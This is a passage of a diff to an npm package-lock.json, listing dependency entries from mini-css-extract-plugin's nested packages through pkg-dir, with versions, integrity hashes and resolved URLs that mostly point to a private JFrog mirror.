"sha512-Qk7HcgaPkGG6eD77mLvZS1nmxlao3j+9PkrT9Uc7HAE1id3F41+DdBRYRYkbyfNRGzm8/YWtzhw7nVPmwhqTQw==", + "dependencies": { + "schema-utils": "^4.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/mini-css-extract-plugin/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "node_modules/mini-css-extract-plugin/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/mini-css-extract-plugin/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "node_modules/mini-css-extract-plugin/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + } + }, + "node_modules/minimalistic-assert": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", + "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==" + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==" + }, + "node_modules/mkdirp": { + "version": "0.5.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "dependencies": { + "minimist": "^1.2.6" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/ms": { + "version": "2.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/multicast-dns": { + "version": "7.2.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/multicast-dns/-/multicast-dns-7.2.5.tgz", + "integrity": "sha512-2eznPJP8z2BFLX50tf0LuODrpINqP1RVIm/CObbTcBRITQgmC/TjcREF1NeTBzIcR5XO/ukWo+YHOjBbFwIupg==", + "dependencies": { + "dns-packet": "^5.2.2", + "thunky": "^1.0.2" + }, + "bin": { + "multicast-dns": "cli.js" + } + }, + "node_modules/mz": { + "version": "2.7.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/mz/-/mz-2.7.0.tgz", + "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==", + "dependencies": { + "any-promise": "^1.0.0", + "object-assign": "^4.0.1", + "thenify-all": "^1.0.0" + } + }, + "node_modules/nanoid": { + "version": "3.3.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/nanoid/-/nanoid-3.3.6.tgz", + "integrity": "sha512-BGcqMMJuToF7i1rt+2PWSNVnWIkGCU78jBG3RxO/bZlnZPK2Cmi2QaffxGO/2RvWi9sL+FAiRiXMgsyxQ1DIDA==", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==" + }, + "node_modules/natural-compare-lite": { + "version": "1.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/natural-compare-lite/-/natural-compare-lite-1.4.0.tgz", + "integrity": "sha512-Tj+HTDSJJKaZnfiuw+iaF9skdPpTo2GtEly5JHnWV/hfv2Qj/9RKsGISQtLh2ox3l5EAGw487hnBee0sIJ6v2g==" + }, + "node_modules/negotiator": { + "version": "0.6.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/neo-async": { + "version": "2.6.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==" + }, + "node_modules/no-case": { + "version": "3.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "dependencies": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, + "node_modules/node-forge": { + "version": "1.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/node-forge/-/node-forge-1.3.1.tgz", + "integrity": "sha512-dPEtOeMvF9VMcYV/1Wb8CPoVAXtp6MKMlcbAt4ddqmGqUJ6fQZFXkNZNkNlfevtNkGtaSoXf/vNNNSvgrdXwtA==", + "engines": { + "node": ">= 6.13.0" + } + }, + "node_modules/node-int64": { + "version": "0.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/node-int64/-/node-int64-0.4.0.tgz", + "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==" + }, + "node_modules/node-releases": { + "version": "2.0.18", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.18.tgz", + "integrity": "sha512-d9VeXT4SJ7ZeOqGX6R5EM022wpL+eWPooLI+5UpWn2jCT1aosUQEhQP214x33Wkwx3JQMvIm+tIoVOdodFS40g==" + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-range": { + "version": "0.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/normalize-range/-/normalize-range-0.1.2.tgz", + "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-url": { + "version": "6.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/normalize-url/-/normalize-url-6.1.0.tgz", + "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==", + "engines": { + "node": ">=10" + } + }, + "node_modules/npm-run-path": { + "version": "4.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/npm-run-path/-/npm-run-path-4.0.1.tgz", + "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", + "dependencies": { + "path-key": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/nth-check": { + "version": "2.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/nth-check/-/nth-check-2.1.1.tgz", + "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", + "dependencies": { + "boolbase": "^1.0.0" + } + }, + "node_modules/nwsapi": { + "version": "2.2.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/nwsapi/-/nwsapi-2.2.5.tgz", + "integrity": "sha512-6xpotnECFy/og7tKSBVmUNft7J3jyXAka4XvG6AUhFWRz+Q/Ljus7znJAA3bxColfQLdS+XsjoodtJfCgeTEFQ==" + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-hash": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/object-hash/-/object-hash-3.0.0.tgz", + "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/object-inspect": { + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.2.tgz", + "integrity": "sha512-IRZSRuzJiynemAXPYtPe5BoI/RESNYR7TYm50MC5Mqbd3Jmw5y790sErYw3V6SryFJD64b74qQQs9wn5Bg/k3g==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-is": { + "version": "1.1.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/object-is/-/object-is-1.1.5.tgz", + "integrity": "sha512-3cyDsyHgtmi7I7DfSSI2LDp6SK2lwvtbg0p0R1e0RvTqF5ceGx+K2dfSjm1bKDMVCFEDAQvy+o8c6a7VujOddw==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.assign": { + "version": "4.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/object.assign/-/object.assign-4.1.4.tgz", + "integrity": "sha512-1mxKf0e58bvyjSCtKYY4sRe9itRk3PJpquJOjeIkz885CczcI4IvJJDLPS72oowuSh+pBxUFROpX+TU++hxhZQ==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "has-symbols": "^1.0.3", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.entries": { + "version": "1.1.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/object.entries/-/object.entries-1.1.6.tgz", + "integrity": "sha512-leTPzo4Zvg3pmbQ3rDK69Rl8GQvIqMWubrkxONG9/ojtFE2rD9fjMKfSI5BxW3osRH1m6VdzmqK8oAY9aT4x5w==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.fromentries": { + "version": "2.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/object.fromentries/-/object.fromentries-2.0.6.tgz", + "integrity": "sha512-VciD13dswC4j1Xt5394WR4MzmAQmlgN72phd/riNp9vtD7tp4QQWJ0R4wvclXcafgcYK8veHRed2W6XeGBvcfg==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.getownpropertydescriptors": { + "version": "2.1.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.6.tgz", + "integrity": "sha512-lq+61g26E/BgHv0ZTFgRvi7NMEPuAxLkFU7rukXjc/AlwH4Am5xXVnIXy3un1bg/JPbXHrixRkK1itUzzPiIjQ==", + "dependencies": { + "array.prototype.reduce": "^1.0.5", + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.21.2", + "safe-array-concat": "^1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/object.hasown": { + "version": "1.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/object.hasown/-/object.hasown-1.1.2.tgz", + "integrity": "sha512-B5UIT3J1W+WuWIU55h0mjlwaqxiE5vYENJXIXZ4VFe05pNYrkKuK0U/6aFcb0pKywYJh7IhfoqUfKVmrJJHZHw==", + "dependencies": { + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + } + }, + "node_modules/object.values": { + "version": "1.1.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/object.values/-/object.values-1.1.6.tgz", + "integrity": "sha512-FVVTkD1vENCsAcwNs9k6jea2uHC/X0+JcjG8YA60FN5CMaJmG95wT9jek/xX9nornqGRrBkKtzuAu2wuHpKqvw==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/obuf": { + "version": "1.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/obuf/-/obuf-1.1.2.tgz", + "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==" + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/on-headers": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/on-headers/-/on-headers-1.0.2.tgz", + "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/onetime": { + "version": "5.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "dependencies": { + "mimic-fn": "^2.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/open": { + "version": "8.4.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/open/-/open-8.4.2.tgz", + "integrity": "sha512-7x81NCL719oNbsq/3mh+hVrAWmFuEYUqrq/Iw3kUzH8ReypT9QQ0BLoJS7/G9k6N81XjW4qHWtjWwe/9eLy1EQ==", + "dependencies": { + "define-lazy-prop": "^2.0.0", + "is-docker": "^2.1.1", + "is-wsl": "^2.2.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/optionator": { + "version": "0.9.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/optionator/-/optionator-0.9.1.tgz", + "integrity": "sha512-74RlY5FCnhq4jRxVUPKDaRwrVNXMqsGsiW6AJw4XK8hmtm10wC0ypZBLw5IIp85NZMr91+qd1RvvENwg7jjRFw==", + "dependencies": { + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0", + "word-wrap": "^1.2.3" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/p-retry": { + "version": "4.6.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/p-retry/-/p-retry-4.6.2.tgz", + "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==", + "dependencies": { + "@types/retry": "0.12.0", + "retry": "^0.13.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/param-case": { + "version": "3.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/param-case/-/param-case-3.0.4.tgz", + "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==", + "dependencies": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-json": { + "version": "5.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "dependencies": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/parse5": { + "version": "6.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/parse5/-/parse5-6.0.1.tgz", + "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==" + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/pascal-case": { + "version": "3.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/pascal-case/-/pascal-case-3.1.2.tgz", + "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" + }, + "node_modules/path-to-regexp": { + "version": "0.1.10", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.10.tgz", + "integrity": "sha512-7lf7qcQidTku0Gu3YDPc8DJ1q7OOucfa/BSsIwjuh56VU7katFvuM8hULfkwB3Fns/rsVF7PwPKVw1sl5KQS9w==" + }, + "node_modules/path-type": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/performance-now": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==" + }, + "node_modules/picocolors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.1.tgz", + "integrity": "sha512-anP1Z8qwhkbmu7MFP5iTt+wQKXgwzf7zTyGlcdzabySa9vd0Xt392U0rVmz9poOaBj0uHJKyyo9/upk0HrEQew==" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "engines": { + "node": ">=8.6" + } + }, + "node_modules/pify": { + "version": "2.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pirates": { + "version": "4.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/pirates/-/pirates-4.0.5.tgz", + "integrity": "sha512-8V9+HQPupnaXMA23c5hvl69zXvTwTzyAYasnkb0Tts4XvO4CliqONMOnvlq26rkhLC3nWDFBJf73LU1e1VZLaQ==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/pkg-dir": { + "version": "4.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "dependencies": { + "find-up": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pkg-dir/node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pkg-dir/node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + 